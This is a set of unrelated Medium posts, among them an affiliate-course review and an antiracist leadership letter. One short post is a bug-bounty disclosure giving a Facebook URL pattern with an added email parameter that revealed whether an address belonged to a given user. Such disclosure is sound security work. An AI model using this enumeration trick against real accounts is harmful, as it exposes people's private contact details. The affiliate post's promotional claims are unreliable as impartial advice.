I have discussed this issue extensively with my spiritual mentor, Shaykh Hamdi Ben Aissa. When Shaykh Hamdi was sharing his vision for the Rhoda Institute, he mentioned the importance of educating Muslims that are deeply grounded in their faith. He says that one of the major issues of our time are Muslims who find themselves one way at home, one way at the mosque, and another way in the workplace. This creates a sort of identity schizophrenia. If Muslims don’t find themselves grounded and rooted, then it is no surprise that their faith will be in jeopardy at the brink of any crisis.
Over the years, I’ve collected a number of works that I believe are essential reading for Muslims. I have found insights in each book listed below that were taught by Shaykh Hamdi over the last decade. The reader will note that very few are actually written by Muslim authors. From transgenderism and the sanctity of human life, secularism and modernity, to scientism and evolutionary biology, I have yet to see many Muslim intellectuals addressing in writing the important ethical questions of our time. Perhaps it is time that the next generation of Muslim intellectuals begin to put to paper what they are learning from their teachers.
These questions haven’t come out of nowhere. Spontaneous innovation has rarely appeared in the history of intellectual thought. Rather, ideas are built upon other ideas. As people who are looking for answers, we need to look at the edifice upon which we stand. Where do our ideas come from? Why do we value certain things over others? How do we come to know that something is true? I believe that if Muslim intellectuals familiarize themselves with the works below, they will begin to articulate the problems that plague our context. Articulating problems is the first step to finding solutions.
And with God, we find success. | https://medium.com/@mustafap/a-bibliography-for-the-muslim-mind-29a7bdc0c19e | ['Mustafa P.'] | 2021-01-02 22:03:58.433000+00:00 | ['Bibliography', 'Modernity', 'Readinglist', 'Lists', 'Islam'] |
Telecommunication Intro | Modulation
Modulation is mixing the signal with some sinusoidal signal. We can divide modulation into two parts, analog and digital modulation. Analog modulations are amplitude modulation, frequency modulation and phase modulation. Some digital modulations are phase Shift Keying, frequency shift keying, pulse amplitude modulation, quadrature amplitude modulation etc.
Why do we use modulation? First of all the channel we want to transmit signal over may not be suitable for transmitting the source directly and we can reduce the noise which is pretty important because we generally don’t have control over the channels so we have to provide some requirements for noise immunity. And it allow multiplexing - sending or receiving multiple signal over the same channel.
In following articles I’ll be introducing modeling information source and measuring information, source coding theorem and algorithms like Huffman coding, Lempel Ziv coding etc. | https://medium.com/@moners/telecommunication-intro-fb554e65a8b3 | [] | 2020-09-26 14:46:19.871000+00:00 | ['Engineering', 'Telecommunication', 'Electrical Engineering', 'Communication', 'Electronics'] |
Welcome to Amazon Sidewalk! Now here’s how to turn it off | Amazon Echo users received an email just before Thanksgiving about a new feature coming to their smart speakers: Amazon Sidewalk, a shared neighborhood networking protocol that allows devices such as motion detectors and pet trackers to connect to the internet even when they’re out of Wi-Fi range.
Mentioned in this article Amazon Echo (4th Gen) Read TechHive's reviewSee it It’s a nifty idea, and with enough Echo speakers and Ring devices (some of Amazon’s Ring cameras work with Sidewalk, too) working together as Sidewalk bridges, you could have a low-power, long-range Sidewalk network that spans an entire neighborhood.
But Amazon’s vaguely worded email soft-pedals a key issue when it comes to Sidewalk functionality on your Echo and Ring devices: rather than being an opt-in feature, it’s opt-out, meaning that unless you actively turn off Sidewalk support, it’ll be enabled by default. (An Amazon spokesperson confirmed to TechHive that Sidewalk will, indeed, be an opt-out feature.)
[ Further reading: The best smart speakers and digital assistants ]“Sidewalk is coming to your Echo device later this year” the email reads, “but you can disable this feature at any time from the Amazon Alexa app.”
Sidewalk is opt-out, not opt-inNow, this sentence didn’t set off alarm bells in my head when I first read it; after all, “later this year” sounds comfortably far off in the future, right?
Of course, if you stop and think for a second, you realize that there’s barely a month left in 2020 (thank goodness), and “it’s coming” means that it—Sidewalk—is, in fact, coming to your Echo device, unless you do something about it.
What exactly are the consequences of having Sidewalk running on your Echo and Ring devices? Will doing so allow strangers with Sidewalk-enabled gadgets a free ride on your home internet connection? And what are the benefits of keeping Sidewalk turned on?
Sidewalk, privacy, and youFor its part, Amazon promises a raft of security measures designed to protect both the owners of Sidewalk bridges as well as passersby with devices that can connect to Sidewalk.
Mentioned in this article Ring Mailbox Sensor + Bridge (Starter Kit) See it Data that travels on Sidewalk networks is secured by three levels of encryption, Amazon says, while one-way hashing keys, cryptographic algorithms, and rotating device IDs help to “minimize” the data of Sidewalk users. In other words, those who connect to your Sidewalk bridge won’t be able to see you or your data, and you won’t see them. (Amazon has an entire whitepaper devoted to Sidewalk security.)
Amazon also promises that nearby Sidewalk users won’t unduly sap your internet connection, with Sidewalk only using a maximum of 80Kbps of bandwidth at any given time and no more than 500MB of total monthly data. Now, 500MB isn’t nothing, particularly for those with home data caps, but as Amazon points out, it’s only equivalent to about 10 minutes of HD video streaming.
There are good things about Sidewalk, tooLet’s not forget that a Sidewalk network in your neighborhood could also offer plenty of enticing benefits. Thanks to Sidewalk, you could (for example) get alerts from a motion sensor on the edge of your property—including the Ring Mailbox Sensor we recently reviewed—even if it’s out of Wi-Fi range. It would also make it much easier to track down missing items that you’ve tagged with a Tile tracker, which will be among the first third-party devices that can connect to Sidewalk networks.
Still, should Amazon have adopted an opt-in policy for Sidewalk rather than an opt-out one? Well, yeah, particularly given the privacy controversies that have dogged Echo and Ring devices over the past couple of years. And while I can see why Amazon thought going the opt-out way would give Sidewalk a running start, it also makes for an unfortunate—and avoidable—privacy stumble right out of the gate.
How to disable Sidewalk on Echo, Ring devicesShould you decide to opt out of Sidewalk participation, it’s a piece of cake with just a few steps that will impact all your connected Echo and Ring devices.
Open the Alexa app, tap More > Settings > Account Settings > Amazon Sidewalk. If you want to turn off Sidewalk support completely, toggle off the Amazon Sidewalk setting, and you’re done. Another option is to allow Sidewalk but disable Community Finding, a feature that lets the owners of Sidewalk-enabled trackers to pinpoint their lost devices or pets. Amazon promises that the Community Finding feature will only let users see an “approximate” location, and that location data won’t reveal any personal information. Still, if you wish, you can go ahead and turn Community Finding off. Note: When you purchase something after clicking links in our articles, we may earn a small commission. Read our affiliate link policy for more details. | https://medium.com/@willie25800137/welcome-to-amazon-sidewalk-now-heres-how-to-turn-it-off-3fe7de2b7383 | [] | 2020-12-11 03:52:49.891000+00:00 | ['Electronics', 'Gear', 'Cutting', 'Chargers'] |
HOW TO EARN 6-FIGURE SIDE-INCOME ONLINE AND SEO DEVELOPMENT 2021 — FREE TRAINING 2021 | The global affiliate marketing industry is growing at a rapid pace, with forecasts predicting that it will have doubled in size by 2025 (from its net worth of roughly $4 billion in 2020).
This is not surprising considering statistics show that in 2017 alone, 170 million transactions were made through affiliate marketing. Read more
One way to ensure you get a piece of this pie is by investing in an affiliate marketing course. The only problem is, there are literally thousands of courses out there from “professional” marketers. Sorting the diamonds from the rough can be quite challenging.
This is why I am publishing this Super Affiliate System review. Super Affiliate System is a well-known affiliate marketing course that a lot of people have tried and professed success with. However, this package is on the pricey side, so before you hit buy, you’re going to want to find out everything you can about this course to decide if it is right for you.
The great news is, you’re in the perfect place to do just that. Read on as I break down exactly what Super Affiliate System comprises of, as well as its pros and cons, and if it’s worth the money.
Contents
1 Super Affiliate System Review: Is It Worth the Money?
1.1 What Is the Super Affiliate System?
1.2 What’s in the Super Affiliate System?
1.2.1 What the Program Covers
1.3 Who’s It For?
1.4 Pros and Cons of Super Affiliate System
1.4.1 Pros
1.4.2 Cons
1.5 Does Super Affiliate System Really Work?
1.6 Is It Worth the Money?
1.7 Did You Get What You Need From This Super Affiliate System Review?
1.7.1 Share this:
1.7.2 Related
What Is the Super Affiliate System?
The Super Affiliate System is a course created by John Crestani designed to give affiliate marketers everything they need to get started on the road to becoming a super affiliate.
Super affiliates, such as John, are affiliate marketers who have developed highly successful strategies that net hundreds of thousands-if not millions-of dollars of net income.
While super affiliates aren’t born overnight, the Super Affiliate System is intended to fast track the marketer’s progress by giving them the tools to set up successful affiliate marketing programs from the get-go.
What’s in the Super Affiliate System?
The Super Affiliate System is one of the most extensive courses on the market, containing over 50 hours of content and spanning 6 weeks.
The program features video lectures and tutorials, paired with homework assignments and quizzes to test retention of the material.
What the Program Covers
The Super Affiliate System is designed to provide affiliate marketers with a comprehensive system for becoming super affiliates.
Therefore, the range of this course is extensive. Contained within the modules are the following areas of information/study:
Facebook ads
Google ads
Native ads
Youtube ads
Social ads
Content creation
Website creation
Niche selection
Affiliate networks
Scaling
Click funnels
Tracking and testing
Advanced strategies
These are just some of the main topics covered within the program.
Besides providing extensive information on these topics, John Crestani also does a good job of reviewing material and guiding marketers through the work.
Who’s It For?
The Super Affiliate System is tailored to be beginner-friendly. It is designed so that almost anybody who wants to get started with affiliate marketing can use it as their launchpad, no matter how new they are to the concepts.
At the same time, John Crestani’s system also provides valuable information and insights for long time affiliate marketers. The content is rich and in-depth enough that it can yield value to professionals as well as beginners and can help experienced affiliate marketers reach new revenue levels.
Pros and Cons of Super Affiliate System
Overall, the Super Affiliate System is a quality package that provides genuine value to those who purchase it.
If you were wondering ‘is super affiliate system a scam?’ then answer is certainly not.
However, there are one or two potential drawbacks to this particular course. Let’s take a look at the pros and cons of Super Affiliate System.
Pros
Probably the most substantial pro to the Super Affiliate System is its extensiveness, as well as its value to both beginner and pro-level affiliate marketers.
The other top quality that this program offers is that it’s revised each year to reflect changes in tools and services used to implement the program as well as successful online strategies. The online space changes very fast, as do services and affiliate tools. Unlike other less popular courses that may never be revised, Super Affiliate System will yield current and usable information throughout the material.
The structure of the course is also clear and well laid out. Along with that, the revision sections, ‘homework’ and quizzes are helpful for retaining the bevy of information covered.
Another decided pro is the support buyers who purchase this course receive. Once users have signed up for the program they receive access to a dedicated internet marketing forum, the Facebook group, and student email support.
Cons
The number one drawback to Super Affiliate System can be the cost. Currently, the price of the program is $997. This amount can be split into three installments of $397.
While this can be a lot of money for some, affiliate marketers who fully implement the knowledge they acquire through the program will likely see a return on this expense.
Another potential drawback to the Super Affiliate System is that some areas (such as Google Ads) could be covered in more detail. However, for the size and scope of the course, this is a lessor drawback.
Does Super Affiliate System Really Work?
The Super Affiliate System is an in-depth program providing detailed training on how to build successful affiliate systems. At the same time, it requires work and application to complete the program and put the strategies outlined in it to the test.
If you browse the Super Affiliate Site, you will see some featured reviews and testimonials from marketers who saw impressive results after using the system.
However, affiliate marketing isn’t a get rich quick scheme, and neither is John’s Super Affiliate System. A lot of dedication, time, and hard work are required.
Is It Worth the Money?
Is Super Affiliate System worth the money?
That really depends on you. If you are serious about a career as an affiliate marketer and have the time to implement the strategies laid out in Super Affiliate System-then yes, it probably is.
On the other hand, if you have a habit of starting things and never finishing them, or are looking for a get rich quick scheme, then no it’s probably not going to pay off.
Did You Get What You Need From This Super Affiliate System Review?
Now that you have the inside scoop on the Super Affiliate System, you are better equipped to decide whether or not this program is for you.
If you found this Super Affiliate System review helpful, and are eager to start plotting your steps as an affiliate marketer-I recommend that you also read this post on finding your niche.
If you require any professional help to get started with your online venture, you’re in the right place. Contact us today and let us assist you through our professional marketing and SEO consultancy services.
If you really want to become a super affiliate who can windfall for cash in demand anytime you want, then this is the right article that you must read. I’m going to show you exactly what are the super affiliate secrets that you will need in order to transform yourself into a super affiliate.
First thing first, before you can become a super affiliate, you must first possess the mindset of a super affiliate. As you know, everything starts from our mind and the only difference between a super affiliate and an ordinary one is what lies within the mindset and the belief system.
Super affiliates thinks and acts differently, that is why they are super affiliates. One very important mindset that they adopt is this…
Every Super Affiliate Treats Their Affiliate Business like a Real Business
You have to treat your affiliate business like a real business, if you are treating it like a part-time hobby, then you will be earning ‘hobby’ type of income. When you treat your online business like a real business, you will operate from a different frame of mind, you will do it seriously and you will be committed in it.
This is why every successful affiliate is earning full-time income and they are enjoying the fruits from their online business. It is because they treat their business as a serious real business. For them, what they want is to build a long-term successful online business that will earn them continuous stream of income. They will do whatever it takes to make it successful.
Besides that, as an affiliate, you must be able to treat the affiliate products that you are selling like your own. The moment you treat the products as your own, you will put in more effort in promoting them, you will then have a better understanding and you will be passionate in promoting them.
If you can put aside the profits and think about the value for the people in your market in the first place, you will be a very successful affiliate marketer sooner than you can imagine. After all, you have to put every party in a winning situation in order to build a successful online business. This is what super affiliates will do all the time, they will think for their prospects and customers first because they know without the people in their market, it is impossible for them to make any money.
Once you have understood the mindset, it is time for you to discover the 4 tips of the super affiliate secrets. Are you ready to become a super affiliate now?
1. Brand Yourself as a Super Affiliate
This is one of the critical super affiliate secrets that you must use in your affiliate business. A lot of affiliates out there thought that their job as an affiliate is to promote their affiliate products. As a result, they will think and act for their affiliate merchant first. If you are doing so, it is a wrong move.
You want to establish yourself as an expert in your field; you want to build a long-term online business that will earn you consistent income. This is why you must brand yourself before you promote your affiliate products to your market. You want the people in your market to know who you are and what they can expect from you.
For example, what you can do is the moment visitors arrive at your site, the first thing you want them to see is your name or your picture. You can also use your company’s name as well. Just like you can use “Shawn Lim’s Super Affiliates Weapon” in your header. If you do this, you are actually branding yourself because your visitors get to know you first before you start to promote.
One more thing is that you want to establish yourself as an independent third party that truly thinks for the good of your visitors. You want to build trust with your prospects so that they will buy from you instead of going for others. This is the first super affiliate secret that you must apply in your affiliate business.
2. Pre-sell Instead of Selling Directly
Imagine that you arrive to a website that is full with sales pitch. You cannot find the information or solution you are looking for, what will you do? You will leave immediately, right?
Always put this in your mind, people surf the internet because they are looking for information or solutions to their problem, if you cannot provide them what they are looking for, you will lose the chance of capturing the sales. This is what ordinary affiliates will do; they thought that their job as an affiliate is to sell their affiliate products.
True enough, but you must think of it from a different perspective, people hate to be sold, but they love to buy. Every super affiliate knows that their job as an affiliate is to open the mind of their prospects into a buying state.
The first time visitors arrive at your site, they do not know who you are and if you bombard them with your affiliate links, your chance of closing the deal is very low. Furthermore, you are wasting the effort of driving those visitors to your website. As a super affiliate, you want to have the maximum conversion rate and turn as many of your prospects into customers as possible.
The way you can do this is very simple, make use of the information and provide what people in your market are looking for. Content is king in internet marketing. If you know how to make use of the content available to you, becoming a super affiliate is not a mission possible.
3. Build a List and Constantly Create Value for Your Subscribers
Last but not least. The third super affiliate secret is to build a list. If you were to ask every successful affiliate marketer out there what is the number thing that makes them so successful. I bet they will answer you it is their list of subscribers. Your list is your number one asset in internet marketing.
This is because your list indicates that you actually own a market. The bigger and more targeted your list, the more percentage of the market you owned. Think about it, you can send an email to a group of targeted and loyal ‘fans’ anytime you want and you can make money by just doing so. It is obviously one of the most powerful marketing tools that you must have.
In fact, the world’s number one super affiliate, Ewen Chia, holds a huge database of subscribers, and that makes him the most powerful affiliate of all time. He can windfall for cash in demand anytime he wants to.
So as you can see now, you must build a list of targeted subscribers as soon as possible. In addition, you must also constantly provide quality information that your market is looking for. The more you give, the more you are going to receive; this is the law of universe.
And these are the top 3 super affiliate secrets that you must apply in your affiliate business. Plainly reading this article is not going to transform you into a super affiliate, you must take action and make it come true. Affiliate marketing is not a magic pill; money will not fall from the sky automatically. Everything happens, happened for a reason, and that reason will be your action.
Do you think that these tips are useful and can help you to boost your affiliate incomes? Learn more Super Affiliate Secrets. | https://medium.com/@pankajkumartiwari403/how-to-earn-6-figure-side-income-online-and-seo-development-2021-free-training-2021-6daa9778743 | [] | 2021-02-04 14:50:00.876000+00:00 | ['Affiliate Training', 'Online Business', 'Affiliate Programs', 'Affiliate Marketing Tips', 'Online Marketing'] |
Raphael Sternberg — Landscape Design, Ecology. and Conservation: | The Wall Street Journal features a very real issue.
Solar Power’s Land Grab Hits a Snag: Environmentalists. Mojave Desert residents say they support clean energy, but not giant projects, citing threat to tortoises and views.
MOAPA VALLEY, Nev. — This windswept desert community is full of clean energy supporters including Suzanne Rebich, an airline pilot who recently topped her house with 36 solar panels. About 200 homes generate their own solar energy and a quarter of the local electricity supply comes from hydroelectric power.
Roof Solar Panels
All the same, many here are dead set against a planned solar plant atop the Mormon Mesa, which overlooks this valley 50 miles northeast of Las Vegas. Slated to be the biggest solar plant in the U.S., the Battle Born Solar Project by California-based Arevia Power would carpet 14 square miles — the equivalent of 7,000 football fields — with more than a million solar panels 10 to 20 feet tall. It would be capable of producing 850 megawatts of electricity, or roughly one-tenth of Nevada’s current capacity.
Green & Ecologic, but where’s the land gone?
Read the rest of this fascinating WSJ article here. | https://medium.com/@raphaelsternberg/raphael-sternberg-landscape-design-ecology-and-conservation-ee3967764283 | ['Raphael Sternberg'] | 2021-06-08 09:18:24.392000+00:00 | ['Land Grabbing', 'Raphael Sternberg', 'Landscaping', 'Solar Power', 'Landscape'] |
World’s first AI robot “Sophia”( wow) | World's first AI robot "Sophia"
Sophia, Hansen Robotics' most advanced human-robot, personalizes our dreams for the future of AI. As a unique… | https://medium.com/@ushansankalpa95/worlds-first-ai-robot-sophia-wow-a0ecf4f063ec | ['Ushan Sankalpa'] | 2020-12-04 08:01:08.263000+00:00 | ['First Robotics', 'Robots', 'AI', 'Science', 'Technology'] |
Hướng dẫn build ứng dụng sử dụng dịch vụ Speech To Text của Google Cloud trên NodeJS | Sharing is a best way for learning | https://medium.com/@khaleo/h%C6%B0%E1%BB%9Bng-d%E1%BA%ABn-build-%E1%BB%A9ng-d%E1%BB%A5ng-s%E1%BB%AD-d%E1%BB%A5ng-d%E1%BB%8Bch-v%E1%BB%A5-speech-to-text-c%E1%BB%A7a-google-cloud-tr%C3%AAn-nodejs-79653d85f33 | [] | 2020-12-27 06:51:30.172000+00:00 | ['Nodejs', 'Speech To Text Api', 'Infinitestreaming', 'Google Services', 'Google Cloud Platform'] |
Confirm an email address belonging to a specific user | Confirm an email address belonging to a specific user
Privacy is important, and after reading this vulnerability, you will know that Facebook gives privacy a great priority
One link enables me to exploit this vulnerability and got $ 5k. alhamdulilah
Too many emails received from facebook contain link to unsubscribe from notifications :
https://www.facebook.com/o.php?k=AS3fdO_cSPoc5dlMxoE&u=userid&mid=midparameter
I look at html form i see e parameter i add it to the previous link, i notice if email is belonging given user in u parameter the response was normal (including secondary emails ), but if i enter the wrong email i get <this page isn’t available > as response
https://www.facebook.com/o.php?k=AS3fdO_cSPoc5dlMxoE&u=userid&e=email&mid=midparameter
Then I reported the vulnerability,
I received a bounty of 5000$
Thanks facebook security team .
Thanks . | https://medium.com/@yaala/confirm-an-email-address-belonging-to-a-specific-user-fe9c305e0af | ['Abdellah Yaala'] | 2020-12-11 21:31:27.286000+00:00 | ['Vulnerability', 'Facebook Security'] |
Hair Color Correction Las Vegas | HOTTIE HAIR SALON IN LAS VEGAS — EXPERTS IN CORRECTIVE HAIR COLORING
Do you need hair color correction in Las Vegas? Have you had a D.I.Y. bleaching disaster or a box dye gone wrong or incorrect hair color application at another salon? There are a number of reasons for hair color corrections, however our experienced color technicians have seen them all before. Rest assured our skilled hairstylists at Hottie Hair Salon Las Vegas have seen them all before! We will help to correct any hair color issues you may have, and will advise you on the next stage to fixing those tonal or shade problems and get your hair back to perfection!
Love your hair again! Book your FREE consultation with a color correction expert today!
HAIR COLOR CORRECTION CONSULTATION
At Hottie Hair our skilled team of hair color technicians will carry out an in-depth color consultation prior to your color correction service to discuss the best course of action to ensure you get a hair color you are completely happy with and get your color back to perfection.
Our hair coloring correction specialists in our Las Vegas hair salon suggest you bring along pictures of exactly what it is you are hoping to achieve. This helps to ensure that there are no miss communication and helps to avoid confusion.
REMOVING UNWANTED TONES OR SHADES IN HAIR
Hair color if not used correctly can quite easily go wrong and often results in unwanted orange or brassy tones. Your highlights may have turned out too yellow, or you may have dark bands of hair color that have overlapped causing varying degrees of color throughout your hair.
We highly recommend that you do not try and fix your hair coloring problems yourself by applying a box dye over the top as you may in fact make the problem worse. Often hair color problems will require removing color from some sections while adding it to others.
Whatever your hair color problem — don’t panic! Our team of highly trained hair colorists have the skills to correct your hair color dilemma giving you back stunning hair color results.
MY HAIR COLOR IS TOO DARK
If your hair color is darker than you had wanted we will assess your hair to return it to its former glory once again. We have the experience, skills and techniques to help you and will use different techniques, colors and tones to achieve a beautifully blended hair color.
MY HAIR COLOR IS TOO LIGHT
If your hair color has turned out a lighter shade than you had hoped for, it is not as simple as applying a new shade over the top. If you want to change the depth of your hair color we will help you achieve your desired look.
This might be with a full head color application or by adding some darker tones with highlights throughout your hair. Our talented team of hair color correction of Las Vegas experts will advise you on what is the best route for you to take.
IMPROVING DRY & DAMAGED COLORED HAIR
Has your hair become dry or brittle? At our hair salon in Vegas we can come up with a plan to help repair bleach damaged or sun damaged hair by restoring moisture that has been lost by over processing.
Help protect your hair during the hair coloring process with a hair treatment that can be added directly into the mixing bowl! We offer Olaplex hair treatments that target weaker parts of the hair to strengthen it, reconstructing the weaker bonds.
Visit the hair color specialists in Las Vegas, Nevada and get yourself a stunning vibrant hair color that will leave your hair looking healthy and shiny.
VISIT THE HAIR COLOR CORRECTION SPECIALISTS IN LAS VEGAS AT HOTTIE HAIR SALON
If you would like to book an appointment for a hair color correction service in the Las Vegas area, or would like further advice on what is the best hair coloring service for you — call our friendly team. Our expert hair colorists will discuss the best course of action for your hair.
Love your hair again! Book your FREE consultation with a color correction expert today!
Example color correction process video
https://www.youtube.com/watch?v=oPNQMRbmU3Q | https://medium.com/@crystal_51807/hair-color-correction-las-vegas-a9d4aead6818 | ['Crystal Frehner'] | 2021-10-28 22:15:39.896000+00:00 | ['Beauty', 'Hair'] |
Electrospray Ionization (ESI) | As we burst from the end of that smothering tunnel;
Though now freed from the duct, we’re contained in a bubble.
It is all I can do but to blink hard and stare,
As I begin to grasp that there’s something more there
I can glimpse through the dome of this bead, although warped,
There are boxes that tower, other things of that sort.
It is arctic in here and the air is a-hum,
Lights are flashing, my heartbeat pounds fast like a drum.
I am blinded and dazed as we soar through midair,
I feel claustrophobic, like I’m trapped in a snare.
There’s a pressure that’s building, a tension in here,
This small droplet contains far too many, too near.
In reaction we all start to rush to the border,
Only to find more chaos and disorder.
At the moment of breaking, to bits we are blown,
Again and again until I am alone.
Now a bit of liquid’s my only protection,
So thin it’s not even enough for convection.
I can see that my time in the light will soon end:
An entrance approaches, a black void impends
Then into the vacuum with great speed I hurtle
Through my veins, courses fear, and my blood, it does curdle.
A force sucks me in like a great beast’s air tract,
Consciousness starts to fade, and then things go black…
Electrospray Ionization: Taylor cone formation
Electrospray Ionization: charged droplets break apart | https://medium.com/pitt-undergraduate-science-writing/electrospray-ionization-esi-f74d5725336b | ['Andrea Detlefsen'] | 2017-07-29 00:31:19.533000+00:00 | ['Science Communication', 'Poetry On Medium', 'Science', 'Poetry'] |
Welcome to my story. | Welcome to my story.
Excitement, science fiction, cats and dogs living together, mass hysteria!
First of all, I really am glad that you have taken the time to come visit my blog. I am certainly new to this medium, and writing in general. Which is why the Word Crimes picture is up there from the song by the same title. You can find it here.
Now, why do I have the picture there, well it is because I will for the most part be writing this story rough draft style. There maybe grammar, punctuation, and spelling errors. Though I will try my hardest to avoid those when possible.
Let’s get to why you should follow my blog. I love writing fictional stories, but have never done so in a public place. As such, I wanted to give it a try, and here we are. This story I am about to write for you is called Alice. It will follow a female robot as she becomes the first self aware machine in human history by a fluke of nature. Like in Jurassic Park, life finds a way.
You and I are going to follow Alice through her “life” as she discovers what it means. There will be adventure, there will be some adult content, there will be fun. Also I would love to hear your feedback as we go. We can sort of make this interactive! I am not afraid of criticism, however please keep it constructive. There is no need for trolls here.
I want to aim for 3 pages a week, though we will see how long I can keep that up for.
I love you beautiful creatures.
~Naomi | https://medium.com/a-l-i-c-e/welcome-to-my-story-92b1b746deaf | ['Naomi Hanson'] | 2016-07-29 16:20:07.571000+00:00 | ['Fiction', 'Artificial Intelligence', 'Science Fiction', 'Storytelling', 'Books'] |
Mike Prelesnik talks life as a Test Automation Analyst at Costco | Green River College graduate Mike Prelesnik
Meet Mike Prelesnik. A former middle school teacher and retail associate, Mike turned his sites on a career change when he enrolled in Green River College’s applied baccalaureate in software development. Now a Class of 2020 graduate from the program, Mike recently started a job at Costco Wholesale working as a Test Automation Analyst. In the Q and A below, he talks more about his role and the culture at Costco, and also offers advice to college students who are looking for their first job in software.
Thanks for joining us, Mike. Can you tell us a little bit about your role at Costco?
MIKE: My current title at Costco is a Test Automation Analyst. Another way of looking at this position is an SDET. Basically, I am responsible for testing Costco’s website for any bugs, defects, unexpected behavior, etc. prior to pushing to production to ensure an easy and user-friendly experience for anyone that may use the site.
Can you describe a recent project you worked on?
MIKE: The two most prominent projects that I am currently working on include 1) Testing a subsection of Costco’s website for bugs and defects on a daily basis, and 2) Working on a program that will automate some of the daily tasks we are responsible for completing that help us reproduce and debug any defects that are found. These tasks can take hours out of an employee’s day, so completing this project will provide us with more time to focus on the debugging and resolving any bugs found.
What is the culture like at Costco?
MIKE: The culture at Costco is phenomenal. It is very welcoming, friendly, and helpful. This applies to everyone I have come in contact with, from my immediate team, to my (and other) managers, Directors, up to VP’s and AVP’s. Everyone is very positive and willing to answer questions, and the whole company seems to operate on a very team-oriented way of thinking.
Is there a particular course at Green River College that prepared you for success in your current role?
MIKE: I can honestly say that every class in Green River’s Software Development program properly prepared me for this current role. Just a few of the skills taken from GRC’s courses that I use on a daily basis include HTML, Java, debugging and unit testing, understanding and use of threads, handling of exceptions, working with/utilizing API’s, as well as general problem solving skills, writing clean, organized, and efficient code that follows coding standards, and the ability to learn/interpret new languages.
What piece of advice do you have for college students who are currently looking for their first software job?
MIKE: View every interview as a learning opportunity, and don’t be discouraged if you don’t move on with a particular interview. In my experience, I sincerely believe that every interview I had I did better than the last, because I got a better handle of the questions that may be asked, how to keep calm and composed, and how to formulate my answers in a more cohesive manner. | https://medium.com/green-river-web-mobile-developers/mike-prelesnik-talks-life-as-a-test-automation-analyst-at-costco-dccdb9819524 | ['Andy Orr'] | 2020-05-14 00:12:02.553000+00:00 | ['Student Success', 'Applied Baccalaureate', 'Community College', 'Costco', 'Career Advice'] |
An Invitation to Deeper Work | Dear White Leaders:
We write this as an invitation to our white colleagues who are struggling to understand their place in the context of the country’s history of racism. We are leaders in nonprofits, government, and academia who met through a national community leadership and racial healing fellowship. While we don’t necessarily carry a unified vision of how to undo the harms of racism or reach liberation, we have found great utility in not doing this work alone. In our white accountability group, we are able to grapple together with the complexities of being white leaders without burdening our Black, Indigenous, Latinx, Asian American and Pacific Islander colleagues or other allies of color.
As leaders at this critical moment, we need to struggle with our own beliefs and the ways we have internalized white supremacy. But we don’t need to struggle alone when we have other like-minded white colleagues with whom we can multiply the impact of our efforts. In this letter, we offer a high-level rationale of our thinking and an opportunity to link to more specific processes that our group has developed in the course of our collective journey(s).
Why Now?
Both the health threat of COVID-19 and the economic effects of its containment have laid bare longstanding and entrenched inequities in our social fabric, with historically oppressed people experiencing more infection, a higher death rate, and deeper financial hardship. The pandemic has highlighted the way environmental racism, inconsistent access to quality medical care, segregated and disparate educational services, and generations of poverty have chronically impacted our communities across the United States.
In parallel, the country has witnessed traumatic acts of violence against people of color and taken to the streets to protest the deaths of George Floyd, Breonna Taylor, Daunte Wright, Ma’Khia Bryant, and countless other stolen Black lives. Anti-Asian animus has grown more virulent, evidenced by hateful attacks against the AAPI community in Atlanta, New York, the Bay Area, and elsewhere. More insidious but no less violent forms of exclusion — the insurrectionists’ attempt to overturn the results of the 2020 presidential election, the subsequent raft of legislation to disenfranchise BIPOC voters, and the attempts in many state capitals to whitewash the legacies of slavery and Jim Crow — are on the rise.
We know the pain of racism isn’t new or unique to the U.S. But we stand at an inflection point, a moment that demands that we remain vigilant and not yield to complacency.
Why Together?
This work cannot be done alone. In fact, today’s resistance against police brutality, structural racism, and white supremacy already stands on the shoulders of countless people taking courageous action seeking justice and dignity on behalf of all our communities. As white people, we may be tempted to retreat to our cocoons of privilege, but now more than ever, our country and communities need us to examine and dismantle the white supremacy that lives within us, our institutions and our systems.
Being regularly connected to and in relationship with each other has enabled us to navigate our individual paths with greater integrity and to engage with both more humility and resolve. We have built a safe space where we can talk through the doubts and dilemmas that inevitably arise in our work seeding power in, and ceding power to, historically marginalized communities. This group of critical and caring colleagues serves as a touchstone, a reminder to hold ourselves to our highest values and a means to move from fragility and guilt to vigilance in managing our own power, privilege and racism.
How?
We describe explicitly how we formed our group, as well as the norms and processes that we have created, in this “How to Guide.” We offer this as a living, evolving document, and we invite others to enter into dialogue with us. We hope that by sharing our learnings, we will be able to move more rapidly toward liberation for all.
This is hard, messy, deeply human work. As white leaders, we have been conditioned to feel fragile when we get called out for our own racism or guilty when we make inevitable mistakes. Sometimes we shut down; sometimes we get defensive. We write this letter to say that the answer is not to run away, but to commit: commit to learning, commit to listening, commit to being honest, and commit to staying the course and being vigilant, not fragile. As white people, we have the privilege of choosing to do this work. Because our lives may not be under literal existential threat every day, we can opt to disengage. But white supremacy destroys us all, so we must be resolute in our efforts to liberate ourselves and to reclaim our collective human dignity.
Join us! Reach out at [email protected].
In community and solidarity,
David Ahlborn, Sunny Baker, Hal Bowling, Sarah Bryer, Brent Godfrey, Jacqueline Hammack, Esq., Hon. Maggie Toulouse Oliver, Sandra Ortsman, Alexandra Quinn, Rev. Sarah Stripp, Patrick Weems | https://medium.com/@antiracistleadership/a-invitation-to-deeper-work-f3ea1268c58c | ['Antiracist Leadership'] | 2021-09-15 16:09:28.823000+00:00 | ['White Anti Racism', 'Anti Racism', 'Racial Equity', 'Leadership', 'Solidarity'] |
Good News For Gmail Users | The world’s most popular email service “GMAIL”, and Google has made it even better.
In a blog post that users will now be able to make changes to Gmail without having to save Microsoft Office files to Google Drive.
Earlier, Google had provided the facility of editing Microsoft Office files, but it had to resort to Google Drive.
But with this new update, users will be able to edit documents within Gmail without having to save them to Google Drive.
Whenever user receives a Word or Excel file in an email, they will be able to do any custom editing.
Users will also be able to reply to the original email thread with the update file.
Google introducing mixed page support in Google Docs and editable Word or Excel files.
Soon will also introduce support for inserting images behind text and watermarks into Google Docs next year.
Google also said that it will introduce another feature for users that will make it easier for them to switch from Excel to Sheets. | https://medium.com/@tehnologijaviews/good-news-for-gmail-users-242b9c238913 | [] | 2020-12-13 14:49:28.567000+00:00 | ['Google', 'Gmail', 'Technology', 'News', 'Email'] |
The Problem with Dave Ramsey’s Car Buying Advice | Photo: Pexels.com
I get it. A vehicle is one of the most expensive things we buy that continually decreases in value. We need to discuss this stigma surrounding new cars lately. The Dave Ramsey car buying method says buying used is better than buying new in every scenario. This is not necessarily true, and buying new can sometimes be a better value.
